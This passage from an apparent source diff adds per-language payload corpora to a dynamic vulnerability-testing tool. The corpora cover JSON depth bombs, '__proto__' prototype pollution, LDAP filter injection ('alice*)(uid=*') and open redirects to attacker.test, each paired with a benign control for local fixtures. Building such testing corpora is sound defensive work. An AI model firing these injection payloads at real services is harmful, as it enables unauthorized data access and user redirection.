predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
88
src/dynamic/corpus/json_parse/python.rs
Normal file
88
src/dynamic/corpus/json_parse/python.rs
Normal file
|
|
@ -0,0 +1,88 @@
|
|||
//! Python `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! The canary cases cover pollution-style parses. The depth cases drive
|
||||
//! `json.loads` past the depth oracle while sharing one fixture for the
|
||||
//! vulnerable and benign attempts.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::{Canary, ProbePredicate};
|
||||
|
||||
const CANARY: &str = Canary::PLACEHOLDER;
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-python-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-python-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-python-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-python-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
92
src/dynamic/corpus/json_parse/ruby.rs
Normal file
92
src/dynamic/corpus/json_parse/ruby.rs
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
//! Ruby `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! Covers two oracle shapes: the prototype-canary pair reuses the
|
||||
//! Phase 10 PROTOTYPE_POLLUTION canary against a `JSON.parse` then
|
||||
//! recursive `Hash#deep_merge!` fixture, and the depth-bomb pair
|
||||
//! drives `JSON.parse` past the 64-level depth budget for the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::JsonParseExcessiveDepth`]
|
||||
//! oracle. The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::{Canary, ProbePredicate};
|
||||
|
||||
const CANARY: &str = Canary::PLACEHOLDER;
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-ruby-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-ruby-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-ruby-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-ruby-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
54
src/dynamic/corpus/json_parse/rust.rs
Normal file
54
src/dynamic/corpus/json_parse/rust.rs
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
//! Rust `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch. Rust has
|
||||
//! no prototype-pollution surface so the canary half of the slice is
|
||||
//! intentionally omitted.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-rust-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-rust-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-rust-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/ldap/java.rs
Normal file
53
src/dynamic/corpus/ldap/java.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! Java `Cap::LDAP_INJECTION` payloads — `LdapTemplate.search` /
|
||||
//! `DirContext.search` filter injection.
|
||||
//!
|
||||
//! Vuln payload: a filter fragment whose `*)(uid=*` tail breaks out of
|
||||
//! the host template's `(uid=…)` clause and rewraps the search as
|
||||
//! `(|(uid=…)(uid=*))`, matching every user the directory carries.
|
||||
//! The harness's instrumented LDAP client (talking to
|
||||
//! [`crate::dynamic::stubs::ldap_server`]) records
|
||||
//! `ProbeKind::Ldap { entries_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted through
|
||||
//! `EscapeDN` so the LDAP filter stays pinned to a single entry; the
|
||||
//! shim records `entries_returned: 1` and the oracle does not fire.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice*)(uid=*",
|
||||
label: "ldap-java-filter-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ldap-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "ldap-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
30
src/dynamic/corpus/ldap/mod.rs
Normal file
30
src/dynamic/corpus/ldap/mod.rs
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
//! LDAP filter injection (`Cap::LDAP_INJECTION`) per-language payload
|
||||
//! slices.
|
||||
//!
|
||||
//! Phase 06 (Track J.4) carves LDAP filter injection across the three
|
||||
//! most-common directory clients: Java (`LdapTemplate.search` /
|
||||
//! `DirContext.search`), Python (`ldap.search_s`), and PHP
|
||||
//! (`ldap_search`). Every vuln payload appends the canonical
|
||||
//! `*)(uid=*` quote-escape break — once the host code substitutes the
|
||||
//! attacker bytes into its filter template the synthesized LDAP
|
||||
//! filter matches every entry the directory carries (the
|
||||
//! [`crate::dynamic::stubs::ldap_server`] stub returns its three
|
||||
//! provisioned users). The paired benign control quotes the same
|
||||
//! bytes through `EscapeDN` / `ldap.dn.escape_filter_chars` /
|
||||
//! `ldap_escape`, leaving the filter pinned to the originally
|
||||
//! intended single user.
|
||||
//!
|
||||
//! The oracle's
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::QueryResultCountGreaterThan`]
|
||||
//! checks the per-payload `ProbeKind::Ldap.entries_returned` against
|
||||
//! `n = 1` — vuln passes (3 entries), benign clears (1 entry),
|
||||
//! fulfilling the §4.1 differential rule.
|
||||
//!
|
||||
//! C# is intentionally omitted: the [`crate::symbol::Lang`] enum has
|
||||
//! no `CSharp` variant, so the corpus has nowhere to register it.
|
||||
//! Tracked in `.pitboss/play/deferred.md` alongside the Phase 05
|
||||
//! Lang::CSharp gap.
|
||||
|
||||
pub mod java;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
51
src/dynamic/corpus/ldap/php.rs
Normal file
51
src/dynamic/corpus/ldap/php.rs
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
//! PHP `Cap::LDAP_INJECTION` payloads — `ldap_search` filter injection.
|
||||
//!
|
||||
//! Vuln payload: a filter fragment whose `*)(uid=*` tail breaks out of
|
||||
//! the host template's `(uid=…)` clause; the synthesized filter
|
||||
//! becomes `(|(uid=…)(uid=*))` and matches every directory entry.
|
||||
//! The harness's instrumented `ldap_search` records
|
||||
//! `ProbeKind::Ldap { entries_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via
|
||||
//! `ldap_escape($value, "", LDAP_ESCAPE_FILTER)` — `entries_returned:
|
||||
//! 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice*)(uid=*",
|
||||
label: "ldap-php-filter-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ldap-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "ldap-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
52
src/dynamic/corpus/ldap/python.rs
Normal file
52
src/dynamic/corpus/ldap/python.rs
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
//! Python `Cap::LDAP_INJECTION` payloads — `ldap.search_s` filter
|
||||
//! injection.
|
||||
//!
|
||||
//! Vuln payload: a filter fragment whose `*)(uid=*` tail breaks out of
|
||||
//! the host template's `(uid=…)` clause; the synthesized filter
|
||||
//! becomes `(|(uid=…)(uid=*))` and matches every directory entry.
|
||||
//! The harness's instrumented `ldap.search_s` records
|
||||
//! `ProbeKind::Ldap { entries_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via
|
||||
//! `ldap.dn.escape_filter_chars`, leaving the filter pinned to a
|
||||
//! single entry — `entries_returned: 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice*)(uid=*",
|
||||
label: "ldap-python-filter-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ldap-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "ldap-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 10,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ldap_injection/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
89
src/dynamic/corpus/open_redirect/go.rs
Normal file
89
src/dynamic/corpus/open_redirect/go.rs
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
//! Go `Cap::OPEN_REDIRECT` payloads — `gin.Context.Redirect` /
|
||||
//! `http.Redirect` off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an absolute attacker URL spliced into
|
||||
//! `c.Redirect(http.StatusFound, value)` (or
|
||||
//! `http.Redirect(w, r, value, ...)`) without host validation; the
|
||||
//! harness records a `ProbeKind::Redirect` probe whose `location`
|
||||
//! points off-origin.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the same-origin path
|
||||
//! `/dashboard`, so the captured `location` has no authority
|
||||
//! component and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real `net/http.Get` against the
|
||||
//! loopback nonce URL so the listener records the per-finding
|
||||
//! callback. Ordered first so the runner exercises the OOB observation
|
||||
//! path before the absolute-URL vuln below triggers and short-circuits
|
||||
//! iteration; runs without a listener skip cleanly (runner
|
||||
//! `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-go-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/go/vuln.go"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with net/http.Get; \
|
||||
no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-go-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
94
src/dynamic/corpus/open_redirect/java.rs
Normal file
94
src/dynamic/corpus/open_redirect/java.rs
Normal file
|
|
@ -0,0 +1,94 @@
|
|||
//! Java `Cap::OPEN_REDIRECT` payloads —
|
||||
//! `HttpServletResponse.sendRedirect` off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: a fully-qualified attacker URL
|
||||
//! (`https://attacker.test/`). Spliced into the host's
|
||||
//! `response.sendRedirect(value)` call without host validation, the
|
||||
//! servlet response's `Location:` header points off-origin. The
|
||||
//! harness's instrumented `sendRedirect` shim records a
|
||||
//! `ProbeKind::Redirect { location: <raw>, request_host:
|
||||
//! "example.com" }` probe; the predicate
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::RedirectHostNotIn`] sees
|
||||
//! the off-allowlist host and fires.
|
||||
//!
|
||||
//! Benign control: same logical entry point, but the harness's benign
|
||||
//! code path redirects to the relative path `/dashboard` (no host
|
||||
//! component). The captured `location` has no off-origin authority
|
||||
//! and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real `HttpURLConnection.getInputStream()`
|
||||
//! against the loopback nonce URL so the listener records the per-finding
|
||||
//! callback. Ordered first so the runner exercises the OOB observation
|
||||
//! path before the absolute-URL vuln below triggers and short-circuits
|
||||
//! iteration; runs without a listener skip cleanly (runner
|
||||
//! `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-java-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/java/Vuln.java"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with \
|
||||
HttpURLConnection.getInputStream; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-java-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
87
src/dynamic/corpus/open_redirect/js.rs
Normal file
87
src/dynamic/corpus/open_redirect/js.rs
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
//! JavaScript `Cap::OPEN_REDIRECT` payloads —
|
||||
//! Express `res.redirect` off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an absolute attacker URL spliced into
|
||||
//! `res.redirect(value)` without host validation; the harness
|
||||
//! records a `ProbeKind::Redirect` probe whose `location` points
|
||||
//! off-origin.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the same-origin path
|
||||
//! `/dashboard`, so the captured `location` has no authority
|
||||
//! component and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real `http.get` against the loopback
|
||||
//! nonce URL so the listener records the per-finding callback. Ordered
|
||||
//! first so the runner exercises the OOB observation path before the
|
||||
//! absolute-URL vuln below triggers and short-circuits iteration; runs
|
||||
//! without a listener skip cleanly (runner `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-js-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/js/vuln.js"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
